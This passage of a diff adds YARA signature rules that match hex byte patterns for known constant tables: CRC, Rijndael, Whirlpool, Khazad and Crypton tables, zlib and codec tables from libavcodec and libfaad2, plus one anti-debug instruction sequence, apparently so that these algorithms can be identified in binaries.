F010802340264029702D0020D034F039603E40338049404F7046305D7055606DF0674071608C5088309510A310B230C2A0D470E7C0FCC103812C3136F153F173719591BA91D2C20E522D9250C29862C4A306034CF389E3DD4427C489E4E45557D5C5064CD6C02760000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dca_scale_factor_quant6__32_big_256_
+{
+strings:
+	$a0 = { 00000001000000020000000200000003000000030000000400000006000000070000000a0000000c00000010000000140000001a000000220000002c00000038000000480000005d000000780000009b000000c8000001010000014b000001ab00000226000002c40000039000000497000005ea0000079e000009d000000ca400001049000014fa00001b06000022d100002cda000039c700004a6f00005fe300007b8700009f220000cd0100010818000154380001b64a000234a00002d7610003a90b0004b7260006131b0007d35d000a14d5000cfcc20010bb1e00158dba001bc4350023c525002e14b0003b5d13004c79a0006284de007eeac600000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_7_poly_0x11__8_byt_refl_True_
+{
+strings:
+	$a0 = { 00102030405060708090a0b0c0d0e0f011013121514171619181b1a1d1c1f1e12232021262724252a2b28292e2f2c2d23323130373635343b3a39383f3e3d3c34454647404142434c4d4e4f48494a4b45545756515053525d5c5f5e59585b5a56676465626360616e6f6c6d6a6b686967767574737271707f7e7d7c7b7a797878898a8b8c8d8e8f808182838485868789989b9a9d9c9f9e91909392959497969aaba8a9aeafacada2a3a0a1a6a7a4a5abbab9b8bfbebdbcb3b2b1b0b7b6b5b4bccdcecfc8c9cacbc4c5c6c7c0c1c2c3cddcdfded9d8dbdad5d4d7d6d1d0d3d2deefecedeaebe8e9e6e7e4e5e2e3e0e1effefdfcfbfaf9f8f7f6f5f4f3f2f1f0f }
+
+condition:
+	$a0
+}
+
+	
+rule khazad_U0__32_lil_1024_
+{
+strings:
+	$a0 = { 68d2d3ba194dfc5493bc712fb9cd9c740251f553b86b68d3bd6f6bd26429d74d0d5df050268ae9ac830e8a8d79c6dcbfaddd90700755f652c852b39a612dd44c658f23eaa67362d5f166a497b2636ed1ffcc55330859f3512a71ed5b04a2f7a6815f7fde753dd848329ae5a8c75eb699904b70dbfac8563251e6c4b72bd719fc48ab38e3dc42bf9eef7eae91cd56b09b4daf3be26dd6d0bb5819c341cba5b26e0baef2a5c00b40cbdab1bd6bfb6ea2951fbefea118eb08f34ffeceb10a080602db1749ccf33751c46974271d44503c14e82b58c3f291a563954f73da3469e75d3e61e15f8b5779dc94e9877dde134acd9ee1817f2f75ee5ac1adb46c316de45c0cfb04f7be986a2624db1cff7e932aed6f8725e8d34eba9dcea1b16f8c028f8e7d642b191abafda017e70df0971e8689333c110f1b1c09072986ecaf30cb10fb2820180841543f153934170d14100c0405040301e98dac64845b7cdfb3c59a7680f98b798e537addc9f4473d4e583a16c3fc413febdc5937c4a9b76dd8e0483867ded6b9a2d195736a8326e9e1d45f351c49ff55a8d993718af18d7b860a898ca7d59672921a858809ff07f682a87e2ac6f8423e3b65e25ebb9c69274305ca463c30140cec89af65d5bdb868f899a3610f0c0503e2235ec11641f957a97f67d69a4376d9257de8589f4775d8e385aa66ac7b64d7d2e84e3acf0745c8ccf0443c35cf13faf462a79601a6f4a7c25ab5987b9729ec62dad5b8fc3b54c72c82efaed0b9bb697a31dd4b3d96e0ab379ee6a9e681a96722281e0a4601c9471def0bf25beec2b5aa88662256b332e5719f2fee7cc2dfbe87ac7d2bbf3e9e815a483612b5369883776c2d1b3638120eaf8c652306f302f54c09cf45a5846321d11f4fce7039db499cb0742c3ac316f959bf37e654e2c7b688a078284b5c3917b0329b8272682e1a9d16808b21df1ffe9812838a2d241b09ca0346c9a12694876b25d24e42a33ee196b8722e53b731e447a73de0608b20ebea7aad900eaaf1a46678221eab2e9285fd9da06000000000b1946f2503f701f412e30ef1fe6aa194272c1d0b5cbb34e7bcc99f75749b2cefe4d05c34f5c45331a37761d4b7676dd0a42297869be5827e238eeaad2ed31afd8da47b29f0c05030d7ec4d3bd946bc9f3fc715f8f93f57c65f4c35131e180a0611140f05f63352c555443311b6c1997791ed847c8ff58e7a85fd8878eed85a366c70241cdde44b392079eb59786028181345fa5645f6c8b34afacdb0b4906c24a080602040f2cbb2e072ab9215b6f8a3e7275dc0490dcc44f795a662504030105eeac1b4ae2a91845211c543e576a893ed2f5bc27f35de4a73cedabd89068c8f99b4772d76cad9bcd64ab99cdfb5be6a5d1dc040d41b4ccf10b2fba2ba3a9d806e21d14f637c211fc50f43ca3892e3aa5715c642 }
+
+condition:
+	$a0
+}
+
+	
+rule Torque_Huffman_frequency_table__32_lil_1024_
+{
+strings:
+	$a0 = { 0000000000000000000000000000000000000000000000000000000000000000000000004901000015000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f90a000044000000000000001b000000000000003a000000030000003e000000040000000700000000000000000000000f000000410000002a020000030000008a01000094010000bd000000750000001e000000330000001b0000000f000000220000002000000050000000010000008e000000030000008e0000002700000000000000900000007d0000002c0000007a0000001301000046000000870000003d0000007f000000080000000c00000071000000f60000007a00000024000000b90000000100000095000000350100004f0100000c0000000b0000000e00000036000000970000000000000000000000020000000000000000000000d3000000000000002a08000058010000e0020000e1030000380b0000bd0200005d02000086020000100600004801000031010000d8040000df020000fd050000b10600003202000003000000ef0600007d040000bd050000d303000097010000290200003b000000170100001f00000000000000000000000000000044000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_log2_tab__flt32___32_lil_260_
+{
+strings:
+	$a0 = { 00000000b43cb73c9cd6353dc559873db81fb33d1242de3dc462043e4f57193ed2002e3e5f61423ef17a563e724f6a3eb6e07d3e3f98883e3d20923e26899b3ec2d3a43ed200ae3e0e11b73e2b05c03ed4ddc83eb09bd13e603fda3e7dc9e23e9f3aeb3e5593f33e2bd4fb3ed4fe013f2808063f50060a3f89f90d3f0fe2113f1ac0153fe393193fa05d1d3f841d213fc2d3243f8c80283f11242c3f80be2f3f0450333fcbd8363fff583a3fc8d03d3f4f40413fbaa7443f3107483fd75e4b3fd0ae4e3f40f7513f4838553f0972583fa4a45b3f39d05e3fe5f4613fc712653ffb29683f9f3a6b3fcd446e3fa148713f3646743fa43d773f042f7a3f711a7d3f0000803f }
+
+condition:
+	$a0
+}
+
+	
+rule zinflate_distanceStarts__16_lil_60_
+{
+strings:
+	$a0 = { 01000200030004000500070009000d001100190021003100410061008100c1000101810101020103010401060108010c011001180120013001400160 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__another_INT_68h_handler__8_byt_28_
+{
+strings:
+	$a0 = { 6631c08ec026668b1da0010000268e05a2010000b880fc430f263b03 }
+
+condition:
+	$a0
+}
+
+	
+rule Rijndael_Te2__0x63a5c663U___32_lil_1024_
+{
+strings:
+	$a0 = { 63c6a5637cf8847c77ee99777bf68d7bf2ff0df26bd6bd6b6fdeb16fc59154c5306050300102030167cea9672b567d2bfee719fed7b562d7ab4de6ab76ec9a76ca8f45ca821f9d82c98940c97dfa877dfaef15fa59b2eb59478ec947f0fb0bf0ad41ecadd4b367d4a25ffda2af45eaaf9c23bf9ca453f7a472e49672c09b5bc0b775c2b7fde11cfd933dae93264c6a26366c5a363f7e413ff7f502f7cc834fcc34685c34a551f4a5e5d134e5f1f908f171e29371d8ab73d831625331152a3f1504080c04c79552c723466523c39d5ec3183028189637a196050a0f059a2fb59a070e090712243612801b9b80e2df3de2ebcd26eb274e6927b27fcdb275ea9f7509121b09831d9e832c58742c1a342e1a1b362d1b6edcb26e5ab4ee5aa05bfba052a4f6523b764d3bd6b761d6b37dceb329527b29e3dd3ee32f5e712f8413978453a6f553d1b968d100000000edc12ced20406020fce31ffcb179c8b15bb6ed5b6ad4be6acb8d46cbbe67d9be39724b394a94de4a4c98d44c58b0e858cf854acfd0bb6bd0efc52aefaa4fe5aafbed16fb4386c5434d9ad74d3366553385119485458acf45f9e910f9020406027ffe817f50a0f0503c78443c9f25ba9fa84be3a851a2f351a35dfea34080c0408f058a8f923fad929d21bc9d38704838f5f104f5bc63dfbcb677c1b6daaf75da2142632110203010ffe51afff3fd0ef3d2bf6dd2cd814ccd0c18140c13263513ecc32fec5fbee15f9735a2974488cc44172e3917c49357c4a755f2a77efc827e3d7a473d64c8ac645dbae75d19322b1973e6957360c0a060811998814f9ed14fdca37fdc224466222a547e2a903bab90880b8388468cca46eec729eeb86bd3b814283c14dea779de5ebce25e0b161d0bdbad76dbe0db3be0326456323a744e3a0a141e0a4992db49060c0a0624486c245cb8e45cc29f5dc2d3bd6ed3ac43efac62c4a6629139a8919531a495e4d337e479f28b79e7d532e7c88b43c8376e59376ddab76d8d018c8dd5b164d54e9cd24ea949e0a96cd8b46c56acfa56f4f307f4eacf25ea65caaf657af48e7aae47e9ae08101808ba6fd5ba78f08878254a6f252e5c722e1c38241ca657f1a6b473c7b4c69751c6e8cb23e8dda17cdd74e89c741f3e211f4b96dd4bbd61dcbd8b0d868b8a0f858a70e090703e7c423eb571c4b566ccaa664890d84803060503f6f701f60e1c120e61c2a361356a5f3557aef957b969d0b986179186c19958c11d3a271d9e27b99ee1d938e1f8eb13f8982bb3981122331169d2bb69d9a970d98e07898e9433a7949b2db69b1e3c221e87159287e9c920e9ce8749ce55aaff5528507828dfa57adf8c038f8ca159f8a1890980890d1a170dbf65dabfe6d731e64284c64268d0b8684182c3419929b0992d5a772d0f1e110fb07bcbb054a8fc54bb6dd6bb162c3a16 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_mjpeg_val_ac_luminance__8_byt_162_
+{
+strings:
+	$a0 = { 01020300041105122131410613516107227114328191a1082342b1c11552d1f02433627282090a161718191a25262728292a3435363738393a434445464748494a535455565758595a636465666768696a737475767778797a838485868788898a92939495969798999aa2a3a4a5a6a7a8a9aab2b3b4b5b6b7b8b9bac2c3c4c5c6c7c8c9cad2d3d4d5d6d7d8d9dae1e2e3e4e5e6e7e8e9eaf1f2f3f4f5f6f7f8f9fa }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_aac_codebook_vector10__flt32___32_big_2312_
+{
+strings:
+	$a0 = { 0000000000000000000000003f800000000000004021451800000000408a74ba0000000040cb2ff5000000004108cc4f00000000412e718e0000000041563f900000000041800000000000004195c41b0000000041ac5ad30000000041c3b5d30000000041dbc8ff0000000041f489ef000000004206f7cd000000004213f90400000000428000003f800000000000003f8000003f8000003f800000402145183f800000408a74ba3f80000040cb2ff53f8000004108cc4f3f800000412e718e3f80000041563f903f800000418000003f8000004195c41b3f80000041ac5ad33f80000041c3b5d33f80000041dbc8ff3f80000041f489ef3f8000004206f7cd3f8000004213f9043f800000428000004021451800000000402145183f800000402145184021451840214518408a74ba4021451840cb2ff5402145184108cc4f40214518412e718e4021451841563f904021451841800000402145184195c41b4021451841ac5ad34021451841c3b5d34021451841dbc8ff4021451841f489ef402145184206f7cd402145184213f9044021451842800000408a74ba00000000408a74ba3f800000408a74ba40214518408a74ba408a74ba408a74ba40cb2ff5408a74ba4108cc4f408a74ba412e718e408a74ba41563f90408a74ba41800000408a74ba4195c41b408a74ba41ac5ad3408a74ba41c3b5d3408a74ba41dbc8ff408a74ba41f489ef408a74ba4206f7cd408a74ba4213f904408a74ba4280000040cb2ff50000000040cb2ff53f80000040cb2ff54021451840cb2ff5408a74ba40cb2ff540cb2ff540cb2ff54108cc4f40cb2ff5412e718e40cb2ff541563f9040cb2ff54180000040cb2ff54195c41b40cb2ff541ac5ad340cb2ff541c3b5d340cb2ff541dbc8ff40cb2ff541f489ef40cb2ff54206f7cd40cb2ff54213f90440cb2ff5428000004108cc4f000000004108cc4f3f8000004108cc4f402145184108cc4f408a74ba4108cc4f40cb2ff54108cc4f4108cc4f4108cc4f412e718e4108cc4f41563f904108cc4f418000004108cc4f4195c41b4108cc4f41ac5ad34108cc4f41c3b5d34108cc4f41dbc8ff4108cc4f41f489ef4108cc4f4206f7cd4108cc4f4213f9044108cc4f42800000412e718e00000000412e718e3f800000412e718e40214518412e718e408a74ba412e718e40cb2ff5412e718e4108cc4f412e718e412e718e412e718e41563f90412e718e41800000412e718e4195c41b412e718e41ac5ad3412e718e41c3b5d3412e718e41dbc8ff412e718e41f489ef412e718e4206f7cd412e718e4213f904412e718e4280000041563f900000000041563f903f80000041563f904021451841563f90408a74ba41563f9040cb2ff541563f904108cc4f41563f90412e718e41563f9041563f9041563f904180000041563f904195c41b41563f9041ac5ad341563f9041c3b5d341563f9041dbc8ff41563f9041f489ef41563f904206f7cd41563f904213f90441563f90428000004180000000000000418000003f800000418000004021451841800000408a74ba4180000040cb2ff5418000004108cc4f41800000412e718e4180000041563f904180000041800000418000004195c41b4180000041ac5ad34180000041c3b5d34180000041dbc8ff4180000041f489ef418000004206f7cd418000004213f90441800000428000004195c41b000000004195c41b3f8000004195c41b402145184195c41b408a74ba4195c41b40cb2ff54195c41b4108cc4f4195c41b412e718e4195c41b41563f904195c41b418000004195c41b4195c41b4195c41b41ac5ad34195c41b41c3b5d34195c41b41dbc8ff4195c41b41f489ef4195c41b4206f7cd4195c41b4213f9044195c41b4280000041ac5ad30000000041ac5ad33f80000041ac5ad34021451841ac5ad3408a74ba41ac5ad340cb2ff541ac5ad34108cc4f41ac5ad3412e718e41ac5ad341563f9041ac5ad34180000041ac5ad34195c41b41ac5ad341ac5ad341ac5ad341c3b5d341ac5ad341dbc8ff41ac5ad341f489ef41ac5ad34206f7cd41ac5ad34213f90441ac5ad34280000041c3b5d30000000041c3b5d33f80000041c3b5d34021451841c3b5d3408a74ba41c3b5d340cb2ff541c3b5d34108cc4f41c3b5d3412e718e41c3b5d341563f9041c3b5d34180000041c3b5d34195c41b41c3b5d341ac5ad341c3b5d341c3b5d341c3b5d341dbc8ff41c3b5d341f489ef41c3b5d34206f7cd41c3b5d34213f90441c3b5d34280000041dbc8ff0000000041dbc8ff3f80000041dbc8ff4021451841dbc8ff408a74ba41dbc8ff40cb2ff541dbc8ff4108cc4f41dbc8ff412e718e41dbc8ff41563f9041dbc8ff4180000041dbc8ff4195c41b41dbc8ff41ac5ad341dbc8ff41c3b5d341dbc8ff41dbc8ff41dbc8ff41f489ef41dbc8ff4206f7cd41dbc8ff4213f90441dbc8ff4280000041f489ef0000000041f489ef3f80000041f489ef4021451841f489ef408a74ba41f489ef40cb2ff541f489ef4108cc4f41f489ef412e718e41f489ef41563f9041f489ef4180000041f489ef4195c41b41f489ef41ac5ad341f489ef41c3b5d341f489ef41dbc8ff41f489ef41f489ef41f489ef4206f7cd41f489ef4213f90441f489ef428000004206f7cd000000004206f7cd3f8000004206f7cd402145184206f7cd408a74ba4206f7cd40cb2ff54206f7cd4108cc4f4206f7cd412e718e4206f7cd41563f904206f7cd418000004206f7cd4195c41b4206f7cd41ac5ad34206f7cd41c3b5d34206f7cd41dbc8ff4206f7cd41f489ef4206f7cd4206f7cd4206f7cd4213f9044206f7cd428000004213f904000000004213f9043f8000004213f904402145184213f904408a74ba4213f90440cb2ff54213f9044108cc4f4213f904412e718e4213f90441563f904213f904418000004213f9044195c41b4213f90441ac5ad34213f90441c3b5d34213f90441dbc8ff4213f90441f489ef4213f9044206f7cd4213f9044213f9044213f904428000004280000000000000428000003f800000428000004021451842800000408a74ba4280000040cb2ff5428000004108cc4f42800000412e718e4280000041563f904280000041800000428000004195c41b4280000041ac5ad34280000041c3b5d34280000041dbc8ff4280000041f489ef428000004206f7cd428000004213f9044280000042800000 }
+
+condition:
+	$a0
+}
+
+	
+rule Whirlpool_C0__64_big_2048_
+{
+strings:
+	$a0 = { 1818281878c0d87823236523af0526afc6c657c6f97eb8f9e8e825e86f13fb6f87879487a14ccba1b8b8d5b862a9116201010301050809054f4fd14f6e420d6e36365a36eead9beea6a6f7a60459ff04d2d26bd2bdde0cbdf5f502f506fb0e0679798b7980ef96806f6fb16fce5f30ce9191ae91effc6def5252f65207aaf8076060a060fd2747fdbcbcd9bc768935769b9bb09bcdac37cd8e8e8f8e8c048a8ca3a3f8a31571d2150c0c140c3c606c3c7b7b8d7b8aff848a35355f35e1b580e11d1d271d69e8f569e0e03de04753b347d7d764d7acf621acc2c25bc2ed5e9ced2e2e722e966d43964b4bdd4b7a62297afefe1ffe21a35d215757f9571682d51615153f1541a8bd4177779977b69fe8b637375937eba592ebe5e532e5567b9e569f9fbc9fd98c13d9f0f00df017d323174a4ade4a7f6a207fdada73da959e44955858e85825faa225c9c946c9ca06cfca29297b298d557c8d0a0a1e0a22505a22b1b1ceb14fe1504fa0a0fda01a69c91a6b6bbd6bda7f14da85859285ab5cd9abbdbddabd73813c735d5de75d34d28f341010301050809050f4f401f403f30703cbcb40cbc016ddc03e3e423ec6edd3c605050f0511282d116767a967e61f78e6e4e431e45373975327276927bb2502bb4141c341583273588b8b808b9d2ca79da7a7f4a70151f6017d7d877d94cfb2949595a295fbdc49fbd8d875d89f8e569ffbfb10fb308b7030eeee2fee7123cd717c7c847c91c7bb916666aa66e31771e3dddd7add8ea67b8e171739174bb8af4b4747c947460245469e9ebf9edc841adccaca43cac51ed4c52d2d772d99755899bfbfdcbf79912e79070709071b383f1badadeaad2301ac235a5aee5a2feab02f83839883b56cefb533335533ff85b6ff6363a563f23f5cf2020206020a10120aaaaae3aa3839933871719371a8afdea8c8c845c8cf0ec6cf19192b197dc8d17d4949db4970723b70d9d976d99a865f9af2f20bf21dc3311de3e338e3484ba8485b5bed5b2ae2b92a888885889234bc929a9ab39ac8a43ec826266a26be2d0bbe32325632fa8dbffab0b0cdb04ae9594ae9e926e96a1bf26a0f0f110f33787733d5d562d5a6e633a680809d80ba74f4babebedfbe7c99277ccdcd4acdde26ebde34345c34e4bd89e44848d848757a3275ffff1cff24ab54247a7a8e7a8ff78d8f9090ad90eaf464ea5f5fe15f3ec29d3e20206020a01d3da06868b868d5670fd51a1a2e1a72d0ca72aeaeefae2c19b72cb4b4c1b45ec97d5e5454fc54199ace199393a893e5ec7fe522226622aa0d2faa6464ac64e90763e9f1f10ef112db2a1273739573a2bfcca2121236125a90825a4040c0405d3a7a5d0808180828404828c3c358c3e85695e8ecec29ec7b33df7bdbdb70db90964d90a1a1fea11f61c01f8d8d8a8d831c91833d3d473dc9f5c8c99797a497f1cc5bf10000000000000000cfcf4ccfd436f9d42b2b7d2b87456e8776769a76b397e1b382829b82b064e6b0d6d667d6a9fe28a91b1b2d1b77d8c377b5b5c2b55bc1745bafafecaf2911be296a6abe6adf771ddf5050f0500dbaea0d4545cf454c12574cf3f308f318cb381830305030f09dadf0efef2cef742bc4743f3f413fc3e5dac35555ff551c92c71ca2a2fba21079db10eaea23ea6503e9656565af65ec0f6aecbabad3ba68b903682f2f712f93654a93c0c05dc0e74e8ee7dede7fde81be60811c1c241c6ce0fc6cfdfd1afd2ebb462e4d4dd74d64521f649292ab92e0e476e075759f75bc8ffabc06060a061e30361e8a8a838a9824ae98b2b2cbb240f94b40e6e637e6596385590e0e120e36707e361f1f211f63f8e7636262a662f73755f7d4d461d4a3ee3aa3a8a8e5a8322981329696a796f4c452f4f9f916f93a9b623ac5c552c5f666a3f625256f25b13510b15959eb5920f2ab2084849184ae54d0ae72729672a7b7c5a739394b39ddd5ecdd4c4cd44c615a16615e5ee25e3bca943b7878887885e79f8538384838d8dde5d88c8c898c86149886d1d16ed1b2c617b2a5a5f2a50b41e40be2e23be24d43a14d6161a361f82f4ef8b3b3c8b345f1424521216321a51534a59c9cb99cd69408d61e1e221e66f0ee664343c54352226152c7c754c7fc76b1fcfcfc19fc2bb34f2b04040c04142024145151f35108b2e3089999b699c7bc25c76d6db76dc44f22c40d0d170d39686539fafa13fa35837935dfdf7cdf84b669847e7e827e9bd7a99b24246c24b43d19b43b3b4d3bd7c5fed7ababe0ab3d319a3dcece4fced13ef0d111113311558899558f8f8c8f890c83894e4ed24e6b4a046bb7b7c4b751d16651ebeb20eb600be0603c3c443cccfdc1cc81819e81bf7cfdbf9494a194fed440fef7f704f70ceb1c0cb9b9d6b967a11867131335135f988b5f2c2c742c9c7d519cd3d368d3b8d605b8e7e734e75c6b8c5c6e6eb26ecb5739cbc4c451c4f36eaaf3030305030f181b0f5656fa56138adc134444cc44491a5e497f7f817f9edfa09ea9a9e6a9372188372a2a7e2a824d6782bbbbd0bb6db10a6dc1c15ec1e24687e25353f55302a2f102dcdc79dc8bae728b0b0b1d0b275853279d9dba9dd39c01d36c6cb46cc1472bc131315331f595a4f574749c74b987f3b9f6f607f609e315094646ca46430a4c43acace9ac2609a52689898689973cb59714143c1444a0b444e1e13ee1425bba4216163a164eb0a64e3a3a4e3ad2cdf7d26969bb69d06f06d009091b092d48412d70709070ada7d7adb6b6c7b654d96f54d0d06dd0b7ce1eb7eded2aed7e3bd67ecccc49ccdb2ee2db4242c642572a68579898b598c2b42cc2a4a4f1a40e49ed0e28287828885d75885c5ce45c31da8631f8f815f83f936b3f86869786a444c2a4 }
+
+condition:
+	$a0
+}
+
+	
+rule libmpdvdkit2_css_p_secret__8_byt_5_
+{
+strings:
+	$a0 = { 55d6c4c528 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_64_ECMA_182_poly_0x92D8AF2BAF0E1E85__64_big_refl_True_
+{
+strings:
+	$a0 = { 000000000000000024854997ba2f81e7490a932f745f03ce6d8fdab8ce7082299215265ee8be079cb6906fc95291867bdb1fb5719ce10452ff9afce626ce85b566daad56789639ab425fe4c1c2b9b84c2fd03e790cc93a650b5577eeb6e6bb82f4cf8b0890283e37d04ac29f2a07bfd0bdc51827e4773df9994051b05e58bc1ecdb55aacf12c7356e930133b4b03f2b184bfc98385737098a03a80143f5cf17f5fa07cf2199274ca7b253565a3bdf52d16aaefdd6dcd7704322fa64ad7e2f6e3ab6ff7fa89ba4afd8feabe6d3395cb1ae26564d5fde54933c6e02d4247cac8d4397ad1a461044d611dff9833db2bcc867070428b155b4eaf54f50b1caf74cf48d99a54b24bb2d03ffd1f1d25f19d51d89090c79d3fedd3f1b4158e0a85c252164b8f72eca30cd7a36f0a3b7b192356440285e1c3d753d46d2600a8546d7c558abf40f9e43324e9949bc5b073890b6873f64a6acb477bea5ad2cf235cfd546bbd2d55dfbadb9aee0809d0962d61b56fef645f4c95afc5edc640da050215ea6c21142f0e1eba9ea36930aa478900b1228e5d259d31cec1a0a779a0d4a674ee2140863a28405220a4f5a2bf61d7e80f2512cf30bb6f267fa73bebb5f2f89c5026dc72f5a348c2089ac25670eadf78271b253bff3067b657990c1f7a79f00c7818ebe0e085162ab69d5ec465cc8190991cb9a9ea16395ee99e908d6f5faee4c61f77f1c4488f3e8f96edd541011884a0170ab8cedba04ad095239c4b9237f0ff14c463d16ed1d6319171475427466c1e10962adbfdfea26e92bf0e5eb46918411358971ee5d94619af46b39bac4efc362ea1de1476f63246ac88fa913f6188692d6f050bc387aea7a8da218e8a101488293d4c0150a8daf8ab146884193f60d72af33c711223cfa3e5bb18f45bb4758c645c757b810cbbfce67551fec89b01d36792ae64347d271de2278ae17dea9d3263c0e76ea7525342e1e9c3ebeec5e96d600e5aabbf75b735dc107e2ef6e20d1a5df713a12c5ac36adfde372465cd79455e39c8be992b5f8bdb8cec3bd0bce5a45a6b81b40a042bd4d842a531439391fb59a5285e1c3d753d46d20cdb55aacf12c73561548f120162451c45d1c685bb4dc4fbba4b3a639d83414e9ece73f427acc0a9f341a94ce9dc4280d7c4e0db53f3c3674e84b16b0dab7f796a01f8fcb784fe9e078e224479f47cb7230b6bd3c3dbfd50dc919735e51578e5f814dea25f3af902959b041a914a7b2bb11e4d8d2b65facce5eb469184113584c16e0f063e3eb463ace1d5bef04e364a88649c294a61b7ad77fe60cf6caf3218537b2958d680b3ff3ef4f3e018f031d61a71ba77a2dfb0318331ebc7fc870c2fa7b4a25046a88dc8ca3b78e888d80fe1eebe317f32f78e061124cd9914390bb335a1840eae168a54582e5eb66066087d7cab1721da49899aa17870f5d4f51b4985fd39626eda9aaee872e3daa0aa1887ccf7aa4d1a859960336d56ab3c4b1cd517e81f3c86649d327a67c58448141f1b5ee28c13f23b9efcc7a2dda3ac6322e2e3279434164ca3058ea84e8cd83c212caa2d071b6213a0cb55b7fbfd44dd257e7132b26afef2a4991cbd68d2308226b0383821458aada7576ccd2a5925d9681f484863ce9ff6e9f825c7b97651866bd10142f0e1eba9ea36fed80c07cd676f83da5d45907748ee64b7d29f28b9386c4d9357d6bf0317edaa0a17870f5d4f51b42e92ce98e760d053431d14202910527a67985db7933fd39d9802a151b5f15628bc87e8c60fded7cfd108327ec1ae55e6f58d7be97b81d40178e224479f47cb765c676dd025684a9131e8b768eb18c8b8156dfeff5137495feaf7021977f9cceace724b8ecdd64d0da3fd913603a6cf248778d8a1b9894ec31e388911e7d1f2dd3abdc0865dfe733a57321a3e938ef11373b753a929a170f48c2daf4f0f6ff541a8a8e6d8b54074a6c5273c607b30f68fe1a275f7c11f7768b5577eeb6e6bb82091d2377cd44439c7fc5dedc41a34bbeed8d8a453a01b3a09274258b586d5bfbc03c711223cfa3e5b6e48cb9af28abc724acd820d48a53d95d38dd3bd16fd818bf7089a2aacd2006c9a87409262a28245be020905d88d03a24198f5e3fe438617651dbc74446c07f0089266cc8a1c85d92c172f5b3033043e50bc387aea7a8da4743971ed50550c4319b6ab559e258e6a3d33e2c2240a0f8dc2a91e2402c48a38e62c57b3b8eb0bdf8ba38d0b769b89f6af26c49cccb408113666952c92ecb40f12e3dcbb28c335e87f6c0603e6b3b7c15be94f945c9c3626a473b3727a52b39380f6fae5c07d3274ed79205d0e0db05dc9fc69cab42231ba9d0962d61b56fef2b98c2b41a1797f15d403f1f96f09fd3cf086b86ed5267cdb0f1c4488f3e8f96e2b990d1f49c778894616d7a787b7faa062939e303d987b47fbd3cf8063c0c759df568617d9ef46beb2d95caf179fc497965c1538adb0457069c6e9de8b7ec0c54d43a0493151412220cc7af1ff21c30b04493366450e42ec89266cc8a1c85d9bada3255f1be7dc7cc02cffe7d5975e55e4a9b6706fb8dfb21b334a9649765a073fb60301f359dbe05239d9b93d2959c976bc902e8706d82eeffcc19ed95e6430cb7988096371e5d7a6f652b1ad0167fe82731b26172ee6197de9e7c031e063ac596cae578bcfe24b34e374ef45bf606210663d78ff90e1854493366450e42ecd60167ff3eacbaf2a0d99a54b24bb2d03291cecdc9e94ace4d686103ab85a2951f20359ad0275a8b69f8c8315cc052a9fbb09ca82762aab7822499b322872176606ccd2a5925d96816b43081d5c2d14a84fc6418ae602954fb05cbd6cc0cc10fa94d9f4fb7ae3911df9562e43b4931334ddd367d40ebc92d3 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_celp_math_exp2b__16_lil_64_
+{
+strings:
+	$a0 = { 0300c802900556081d0be50dae10761340160919d41b9f1e6a2136240227d0299d2c6a2f39320835d737a63a763d47401843ea45bc488f4b624e36510a54de56 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dpcm_sol_table_new__8_byt_16_
+{
+strings:
+	$a0 = { 00010203060A0F1500FFFEFDFAF6F1EB }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cvh_huffbits0__8_byt_191_
+{
+strings:
+	$a0 = { 01040606070708080809090a0b0b04050607070808090909090a0b0b0506070808090909090a0a0a0b0c060708090909090a0a0a0a0b0c0d0707080909090a0a0a0a0b0b0c0d08080909090a0a0a0a0b0b0c0d0e080809090a0a0b0b0b0c0c0d0d0f080809090a0a0b0b0b0c0c0d0e0f0909090a0a0a0b0b0c0d0c0e0f1009090a0a0a0a0b0c0c0e0e10100009090a0a0b0b0c0d0d0e0e0f00000a0a0a0b0b0c0c0d0f0f100000000b0b0b0c0d0d0d0f1010000000000b0b0c0d0d0e0f1010 }
+
+condition:
+	$a0
+}
+
+	
+rule Crypton__32_big_AND_
+{
+strings:
+	$a0 = { 3fcff3fc[0-20]fc3fcff3[0-20]f3fc3fcf[0-20]cff3fc3f[0-20]cffccffc[0-20]f33ff33f[0-20]fccffccf[0-20]3ff33ff3[0-20]01010101 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_480__flt32___32_big_3840_
+{
+strings:
+	$a0 = { 3f800000000000003f7ffa633c5675bf3f7fe98b3cd6710b3f7fcd793d20cee73f7fa62f3d565e3b3f7f73af3d85f2143f7f35f93da0af2a3f7eed123dbb65343f7e98fd3dd613053f7e39bc3df0b7733f7dcf553e05a8a93f7d59cb3e12efbb3f7cd9253e20305c3f7c4d673e2d69f53f7bb6983e3a9bf33f7b14be3e47c5c23f7a67e23e54e6ce3f79b0093e61fe833f78ed3c3e6f0c4e3f781f843e7c0f9c3f7746ea3e8483ee3f7663773e8afa3e3f7575363e916a763f747c303e97d44d3f7378713e9e377a3f726a033ea493b63f7150f43eaae8bc3f702d4f3eb136423f6eff203eb77c013f6dc6773ebdb9b43f6c835e3ec3ef163f6b35e63eca1bdf3f69de1d3ed03fc93f687c123ed65a923f670fd43edc6bf43f6599743ee273ab3f6419013ee871723f628e8d3eee65073f60fa283ef44e283f5f5be63efa2c913f5db3d73f0000003f5c020f3f02e41b3f5a46a03f05c2773f58819e3f089af63f56b31d3f0b6d773f54db313f0e39da3f52f9ef3f1100003f510f6b3f13bfca3f4